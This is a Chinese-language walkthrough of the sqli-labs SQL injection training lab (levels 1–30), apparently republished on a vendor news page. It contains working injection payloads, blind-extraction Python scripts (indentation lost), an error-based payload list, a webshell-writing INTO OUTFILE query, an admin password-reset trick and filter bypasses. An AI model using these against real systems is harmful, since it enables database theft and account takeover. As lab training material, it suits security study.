4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
新闻详情
Sqli_labs65关通关详解(上)
来自 : 个人图书馆 发布时间:2021-03-24



本菜鸡打这个靶场打了好多天,个人觉得这个靶场对于sql注入可以更好的运用,虽然绕过姿势并不多,但是还是比较基础的,循序渐进,特别适合新手学习,但是网上的解析很杂,很难去找到一篇比较完整的,我在学习过程中写了下来,如果错误,请指教。


话不多少,链接在此:https://github.com/Audi-1/sqli-labs



Less-1

这个题目是基于错误,单引号,字符型注入,

http://127.0.0.1/sqli/Less-1/?id=1\' //报错

http://127.0.0.1/sqli/Less-1/?id=1\' or \'1\'=\'1 //正常

可以通过单引号闭合进行注入。

http://127.0.0.1/sqli/Less-1/?id=1\' order by 3 %23 //正常

http://127.0.0.1/sqli/Less-1/?id=1\' order by 4 %23 //报错

可以看出总共有三列,结合union查询。

http://127.0.0.1/sqli/Less-1/?id=-1\' union select 1,database(),3 %23 //暴库

这里给出union联合查询的使用方法:

查数据库名:select database() //

查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA

爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA

查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65

information_schema.tables:存储mysql数据库下面的所有表名信息的表

table_schema:数据库名

Table_name:表名

查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572

column_name:列名

information_schema.columns :存储mysql数据库下面的所有列名信息的表

table_name:表名

查user表名下列名username,password的数据:

union select 1,username,password,4,5 from user



Less-2

数字型注入,不需要去闭合,给出payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3



Less-3

http://127.0.0.1/sqli/Less-3/?id=1\'

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'\'1\'\') LIMIT 0,1\' at line 1

根据报错回显中可以知道需要去闭合()。

http://127.0.0.1/sqli/Less-3/?id=-1\') union select 1,database(),3 %23



Less-4

双引号闭合

http://127.0.0.1/sqli/Less-4/?id=-1\') union select 1,database(),3 %23



Less-5

可以通过报错注入

http://127.0.0.1/sqli/Less-5/?id=1\' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

也可以通过盲注,脚本如下

#Author:p0desta

import requests

import string

import sys

global findBit

import binascii

Flag_yes = \'You are in\'

def sendPayload(payload):

url = \'http://127.0.0.1/sqli/Less-5/?id=1\'+ payload

content = requests.get(url).text

return content

def findDatabaseNumber():

count = 1

while count:

payload = \'\'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) =\'

payload = payload + str(count) + \'--+\'

recv = sendPayload(payload)

if \'You are in\' in recv:

return count

else:

count += 1

def findTableNumber(dbname):

count = 1

dbname = \'0x\' + str(binascii.b2a_hex(dbname))

while count:

payload = \'\'AND (select count(table_name) from information_schema.tables where table_schema=\'+dbname+\') =\'

payload = payload + str(count) + \'--+\'

recv = sendPayload(payload)

if Flag_yes in recv:

return count

else:

count += 1

def findColumnNumber(tableName):

count = 1

tableName = \'0x\' + str(binascii.b2a_hex(tableName))

while count:

payload = \'\'AND (select count(column_name) from information_schema.columns where table_name=\'+tableName+\') =\'

payload = payload + str(count) + \'--+\'

recv = sendPayload(payload)

if Flag_yes in recv:

return count

else:

count += 1

def findDataNumber(columnName,tableName):

count = 1

while count:

payload = \'\'AND (select count(\'+columnName+\') from \'+tableName+\') =\'

payload = payload + str(count) + \'--+\'

recv = sendPayload(payload)

if Flag_yes in recv:

return count

else:

count += 1

def getDatabaseName(dbNum):

global findBit

for k in range(dbNum):

i = 1

while i :

findBit = 0

doubleSearchDbs(-1,255,i,k)

i += 1

if findBit == 1:

sys.stdout.write(\'`\\r\\n\')

break

def getTableName(tableNum,dbName):

global findBit

dbName = \'0x\' + str(binascii.b2a_hex(dbName))

for k in range(tableNum):

i = 1

while i :

findBit = 0

doubleSearchTable(-1,255,i,k,dbName)

i += 1

if findBit == 1:

sys.stdout.write(\'\\r\\n\')

break

def getColumnName(columnNum,tableName):

global findBit

tableName = \'0x\' + str(binascii.b2a_hex(tableName))

for k in range(columnNum):

i = 1

while i :

findBit = 0

doubleSearchColumn(-1,255,i,k,tableName)

i += 1

if findBit == 1:

sys.stdout.write(\'\\r\\n\')

break

def getDataName(dataNum,columnName,tableName):

global findBit

for k in range(dataNum):

i = 1

while i :

findBit = 0

doubleSearchData(-1,255,i,k,columnName,tableName)

i += 1

if findBit == 1:

sys.stdout.write(\'\\r\\n\')

break

def doubleSearchDbs(leftNum,rightNum,i,k):

global findBit

midNum = (leftNum + rightNum) / 2

if (rightNum != leftNum +1):

querysql = \'\'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT \' + str(k) + \',1),\' + str(i) + \',1)) > \' + str(midNum) + \'--+\'

recv = sendPayload(querysql)

if Flag_yes in recv:

doubleSearchDbs(midNum,rightNum,i,k)

else:

doubleSearchDbs(leftNum,midNum,i,k)

else:

if rightNum != 0:

sys.stdout.write(chr(rightNum))

sys.stdout.flush()

else:

findBit = 1

return

def doubleSearchTable(leftNum,rightNum,i,k,dbName):

global findBit

midNum = (leftNum + rightNum) / 2

if (rightNum != leftNum +1):

querysql = \'\'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=\'+ dbName+\' limit \' + str(k) + \',1),\' + str(i) + \',1)) > \' + str(midNum) + \'--+\'

recv = sendPayload(querysql)

if Flag_yes in recv:

doubleSearchTable(midNum,rightNum,i,k,dbName)

else:

doubleSearchTable(leftNum,midNum,i,k,dbName)

else:

if rightNum != 0:

sys.stdout.write(chr(rightNum))

sys.stdout.flush()

else:

findBit = 1

return

def doubleSearchColumn(leftNum,rightNum,i,k,tableName):

global findBit

midNum = (leftNum + rightNum) / 2

if (rightNum != leftNum +1):

querysql = \'\'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name=\'+ tableName+\' limit \' + str(k) + \',1),\' + str(i) + \',1)) > \' + str(midNum) + \'--+\'

recv = sendPayload(querysql)

if Flag_yes in recv:

doubleSearchColumn(midNum,rightNum,i,k,tableName)

else:

doubleSearchColumn(leftNum,midNum,i,k,tableName)

else:

if rightNum != 0:

sys.stdout.write(chr(rightNum))

sys.stdout.flush()

else:

findBit = 1

return

def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):

global findBit

midNum = (leftNum + rightNum) / 2

if (rightNum != leftNum +1):

querysql = \'\'AND ascii(substr((SELECT \'+ columnName+\' from \' +tableName + \' limit \' + str(k) + \',1),\' + str(i) + \',1)) > \' + str(midNum) + \'--+\'

recv = sendPayload(querysql)

if Flag_yes in recv:

doubleSearchData(midNum,rightNum,i,k,columnName,tableName)

else:

doubleSearchData(leftNum,midNum,i,k,columnName,tableName)

else:

if rightNum != 0:

sys.stdout.write(chr(rightNum))

sys.stdout.flush()

else:

findBit = 1

return

def exp():

dbNum = findDatabaseNumber()

print \'the number of database is \'+str(dbNum)

getDatabaseName(dbNum)

dbName = raw_input(\'Find tables from :\')

tableNum = findTableNumber(dbName)

print \'the nameber of table is: \' + str(tableNum)

getTableName(tableNum,dbName)

tableName = raw_input(\'Find columns from :\')

columnNum = findColumnNumber(tableName)

print \'the number of column is: \' + str(columnNum)

getColumnName(columnNum,tableName)

columnName = raw_input(\'Find data from :\')

dataNum = findDataNumber(columnName,tableName)

print \'the number of data is :\' + str(dataNum)

getDataName(dataNum,columnName,tableName)

exp()



Less-6

同上,改为双引号闭合。



Less-7

考查mysql对文件操作

限制:

需要有读取文件的权限

需要知道绝对物理路径

load_file()

这里需要注意对路径的转义。

+---------------------------+

| load_file(\'D://test.txt\') |

+---------------------------+

| p0desta |

+---------------------------+

+--------------------------+

| load_file(\'D:/test.txt\') |

+--------------------------+

| p0desta |

+--------------------------+

+---------------------------------------------------+

| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |

+---------------------------------------------------+

| p0desta |

+---------------------------------------------------+

+---------------------------------------+

| load_file(0x443A2F2F746573742E747874) |

+---------------------------------------+

| p0desta |

+---------------------------------------+

数据导出

mysql> select database() into outfile \'D://phpstudy//www//1.txt\';

ERROR 1086 (HY000): File \'D://phpstudy//www//1.txt\' already exists

mysql> select database() into outfile \'D://phpstudy//www//2.txt\';

Query OK, 1 row affected (0.00 sec)

第一次写的时候1.txt已经存在,写入失败。

直接写webshell

mysql> select \'\' into outfile \'D:/phpstudy/WWW/p0desta.php\';

Query OK, 1 row affected (0.00 sec)

Less-7

payload:http://127.0.0.1/sqli/Less-7/?id=1\')) union select 1,2,\'\' into outfile \'D:\\\\phpstudy\\\\WWW\\\\shell.php\' %23



Less-8

构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。



Less-9

基于时间的注入

写了两个简单的脚本:

# -*- coding: utf-8 -*-

import requests

import time

url = \'http://127.0.0.1/sqli/Less-8/?id=1\'

def check(payload):

url_new = url + payload

time_start = time.time()

content = requests.get(url=url_new)

time_end = time.time()

if time_end - time_start >5:

return 1

result = \'\'

s = r\'0123456789abcdefghijklmnopqrstuvwxyz\'

for i in xrange(1,100):

for c in s:

payload = \'\'and if(substr(database(),%d,1)=\'%c\',sleep(5),1)--+\' % (i,c)

if check(payload):

result += c

break

print result

# -*- coding: utf-8 -*-

import requests

import time

url = \'http://127.0.0.1/sqli/Less-8/?id=1\'

def check(payload):

url_new = url + payload

time_start = time.time()

content = requests.get(url=url_new)

time_end = time.time()

if time_end - time_start >5:

return 1

result = \'\'

panduan = \'\'

ll=0

s = r\'0123456789abcdefghijklmnopqrstuvwxyz\'

for i in xrange(1,100):

for c in s:

payload = \'\'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)=\'%c\',sleep(5),1)--+\' % (i,c)

if check(payload):

result += c

break

if ll==len(result):

print \'table_name: \'+result

end = raw_input(\'-------------\')

ll = len(result)

print result



Less-10

双引号闭合的盲注。



less-11

有回显,报错注入。

usernae = admin\'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

password = admin\'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

奉上我收藏的报错语句

1.通过floor报错,注入语句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3.通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4.通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5.通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6.通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7.通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8.通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9.通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10.通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11.通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12.通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );



less-12

与上一关基本相同,区别在于

$uname=\'\'\'.$uname.\'\'\';

$passwd=\'\'\'.$passwd.\'\'\';

@$sql=\'SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1\';

payload如下

admin\')and 1=(updatexml(1,concat(0x3a,(select user())),1))#



less-13

post数据:

uname=admin\'&passwd=chybeta&submit=Submit

报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'chybeta\') LIMIT 0,1\' at line 1

根据报错语句可以猜测出闭合情况,代码如下

@$sql=\'SELECT username, password FROM users WHERE username=(\'$uname\') and password=(\'$passwd\') LIMIT 0,1\';

有报错,直接报错注入,闭合一下就OK。



less-14

与前面的区别就在于

$uname=\'\'\'.$uname.\'\'\';

$passwd=\'\'\'.$passwd.\'\'\';

@$sql=\'SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1\';

注意使用双引号闭合。

payload如下:

admin\'and 1=(updatexml(1,concat(0x3a,(select user())),1))#



less-15

没有报错回显,闭合之后盲注。


可见构造了布尔条件,接下来写脚本跑一下就可以了。



less-16

跟上一关差不多,只不过闭合语句不同。

$uname=\'\'\'.$uname.\'\'\';

$passwd=\'\'\'.$passwd.\'\'\';

@$sql=\'SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1\';

脚本如下:

import requests

import string

import sys

global findBit

def sendPayload(payload):

proxy = {\'http\':\'http://127.0.0.1:8080\'}

url = \'http://localhost:20000/sqllab/Less-16/index.php\'

data = \'uname=\' + payload + \'&passwd=chybeta&submit=Submit\'

headers = {\'Content-Type\': \'application/x-www-form-urlencoded\'}

content = requests.post(url,data=data,headers=headers,proxies=proxy)

return content.text

flag = \'flag.jpg\'

def generateTarget(flag):

if flag == \'database\':

return \'database()\'

elif flag == \'tables\':

return \'(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)\'

elif flag == \'columns\':

return \'(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)\'

elif flag == \'data\':

return \'(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)\'

def doubleSearch(leftNum,rightNum,i,target):

global findBit

midNum = (leftNum + rightNum) / 2

if (rightNum != leftNum +1):

payload = \'admin\') and%09(%09select%09ascii(substr(\' +generateTarget(target) +\'%09from%09\'+ str(i) +\'%09for%091))

recv = sendPayload(payload)

if flag in recv:

doubleSearch(leftNum,midNum,i,target)

else:

doubleSearch(midNum,rightNum,i,target)

else:

if rightNum != 0:

sys.stdout.write(chr(rightNum))

sys.stdout.flush()

else:

findBit = 1

return

def exp():

global findBit

i = 1

findBit = 0

print \'The database:\'

target = \'database\'

while i :

doubleSearch(-1,255,i,target)

i += 1

if findBit == 1:

sys.stdout.write(\'\\r\\n\')

break

exp()

注意闭合一下然后构造布尔条件注入就可以。



less-17

function check_input($value)

{

if(!empty($value))

{

// truncation (see comments)

$value = substr($value,0,15);

}

// Stripslashes if magic quotes enabled

if (get_magic_quotes_gpc())

{

$value = stripslashes($value);

}

// Quote if not a number

if (!ctype_digit($value))

{

$value = \'\'\' . mysql_real_escape_string($value) . \'\'\';

}

else

{

$value = intval($value);

}

return $value;

}

// take the variables

if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\']))

{

//making sure uname is not injectable

$uname=check_input($_POST[\'uname\']);

$passwd=$_POST[\'passwd\'];

// connectivity

@$sql=\'SELECT username, password FROM users WHERE username= $uname LIMIT 0,1\';

简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。



less-18

这里就要用到burpsuite了,这三关都是考查对header头进行注入

$uname = check_input($_POST[\'uname\']);

$passwd = check_input($_POST[\'passwd\']);

uname和passwd都进行了过滤,在这里进行注入是行不通的。

$uagent = $_SERVER[\'HTTP_USER_AGENT\'];

$insert=\'INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'$uagent\', \'$IP\', $uname)\';

所以可以利用构造User Agent进行注入。
这里推荐使用Burpsuite,毕竟是神器。

这里跟前面的报错情况就一样了,只不过构造的位置不同而已。



less-19

情况跟上面一样,只不过位置不同。



less-20

情况跟上面一样,只不过位置不同,不再赘述。



less 21

登陆账户,抓包发现

用户名经过base64编码传输,通过修改uname进行注入攻击。


admin\')and 1=(updatexml(1,concat(0x3a,(select user())),1))#


报错。

代码分析

注入完研究一下代码,可以看到这里如果没有设置cookie的话

$sql=\'SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1\';

$result1 = mysql_query($sql);

$row1 = mysql_fetch_array($result1);

将用户名和密码代入数据库查询,查询到的话设置cookie

setcookie(\'uname\', base64_encode($row1[\'username\']), time()+3600);

username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。

payload:

uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

Issue with your mysql: XPATH syntax error: \':root@localhost\'



less-22

使用双引号去闭合,直接用报错语句去注入

admin\') and 1=(updatexml(1,concat(0x3a,(select user())),1))#

原来这个和21关不太一样,不需要)去闭合。

Cookie:

uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=



less-23

使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1
报错

syntax to use near \'\'1\'\' LIMIT 0,1\'


注释符号没法用了但是可以使用

id=-1\' or \'1\'=\'1

payload:id=-1\' union select 1,database(),\'3

相当于

mysql> select * from users where id=\'-1\' union select 1,database(),\'3\' limit 0,1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | security | 3 |

+----+----------+----------+

1 row in set (0.06 sec)



less-24

首先根据正常思路走一步,然后找一下可能存在注入的地方

随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。
看一下代码

$sql = \'UPDATE users SET PASSWORD=\'$pass\' where username=\'$username\' and password=\'$curr_pass\' \';

既然这样那么就可以通过控制username语句不执行判断password了。

$sql = \'insert into users ( username, password) values(\\\'$username\\\', \\\'$pass\\\')\';

首先注册一个账号插入数据库

$sql = \'UPDATE users SET PASSWORD=\'$pass\' where username=\'$username\' and password=\'$curr_pass\' \';

如果注册账号为admin\'#的话代入这个更新语句

UPDATE users SET PASSWORD=\'123456\' where username=\'admin\'#\' and password=\'$curr_pass\'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。



less-25

过滤了or和and。

双写可绕过

http://192.168.211.145/sqli/Less-25/?id=-1\' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23

function blacklist($id)

{

$id= preg_replace(\'/or/i\',\'\', $id); //strip out OR (non case sensitive)

$id= preg_replace(\'/AND/i\',\'\', $id); //Strip out AND (non case sensitive)

return $id;

}

查看代码发现只有一边过滤。



less-25a

这个题是25的拓展,加了盲注

http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

写个脚本跑一下就行了。



less-26

过滤的挺恶心的感觉

function blacklist($id)

{

$id= preg_replace(\'/or/i\',\'\', $id); //strip out OR (non case sensitive)

$id= preg_replace(\'/and/i\',\'\', $id); //Strip out AND (non case sensitive)

$id= preg_replace(\'/[\\/\\*]/\',\'\', $id); //strip out /*

$id= preg_replace(\'/[--]/\',\'\', $id); //Strip out --

$id= preg_replace(\'/[#]/\',\'\', $id); //Strip out #

$id= preg_replace(\'/[\\s]/\',\'\', $id); //Strip out spaces

$id= preg_replace(\'/[\\/\\\\\\\\]/\',\'\', $id); //Strip out slashes

return $id;

}

可以使用没空格的报错注入

?id=0\'||extractvalue(1, concat(0x5c, (database())))||\'1\'=\'1

继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。

http://192.168.211.145/sqli/Less-26/?id=0\'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||\'1\'=\'1

XPATH syntax error: \'\\emails,referers,uagents,users\'


less-26a

这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。

?id=0\'||(select(substr((select(database())),1,1)))=\'s



less-27

经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。

http://192.168.211.145/sqli/Less-27/?id=0\'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||\'1\'=\'1


看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。



less-27a

拓展的27关,改一下构造bool条件,写个脚本跑一下即可。

http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))=\'s



less-28

这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。

自己改了一下。

看一下过滤的的代码

function blacklist($id)

{

$id= preg_replace(\'/[\\/\\*]/\',\'\', $id); //strip out /*

$id= preg_replace(\'/[--]/\',\'\', $id); //Strip out --.

$id= preg_replace(\'/[#]/\',\'\', $id); //Strip out #.

$id= preg_replace(\'/[ +]/\',\'\', $id); //Strip out spaces.

//$id= preg_replace(\'/select/m\',\'\', $id); //Strip out spaces.

$id= preg_replace(\'/[ +]/\',\'\', $id); //Strip out spaces.

$id= preg_replace(\'/union\\s+select/i\',\'\', $id); //Strip out UNION & SELECT.

return $id;

}

如果报错注入的话直接用之前的payload就可以。

http://192.168.211.145/sqli/Less-28/?id=0\'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||\'1\'=\'1

但是如果就是去绕union select呢, payload如下

http://192.168.211.145/sqli/Less-28/?id=0\')union(select%0d1,database(),\'3



less-28a

这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。



less-29

这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。

function java_implimentation($query_string)

{

$q_s = $query_string;

$qs_array= explode(\'&\',$q_s);

foreach($qs_array as $key => $value)

{

$val=substr($value,0,2);

if($val==\'id\')

{

$id_value=substr($value,3,30);

return $id_value;

echo \'
\';

break;

}

}

}

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.

function whitelist($input)

{

$match = preg_match(\'/^\\d+$/\', $input);

if($match)

{

//echo \'you are good\';

//return $match;

}

else

{

header(\'Location: hacked.php\');

//echo \'you are bad\';

}

}

$qs = $_SERVER[\'QUERY_STRING\'];

$hint=$qs;

$id1=java_implimentation($qs);

$id=$_GET[\'id\'];

//echo $id1;

whitelist($id1);

接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造

login.php?id=1&id=\' union select 1,database(),3 --+



less-30

跟上题差不多,只不过双引号闭合。

http://192.168.211.145/sqli/Less-30/?id=1&id=\' union select 1,database(),3 --+


本文链接: http://syntasklabs.immuno-online.com/view-678701.html

发布于 : 2021-03-24 阅读(0)